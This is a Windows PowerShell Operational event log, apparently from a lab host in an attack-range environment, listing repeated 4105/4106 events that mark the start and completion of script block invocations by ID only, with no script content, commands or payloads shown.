ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029578
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029577
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029572
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029571
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029549
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029548
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029547
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029546
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029537
Keywords=None
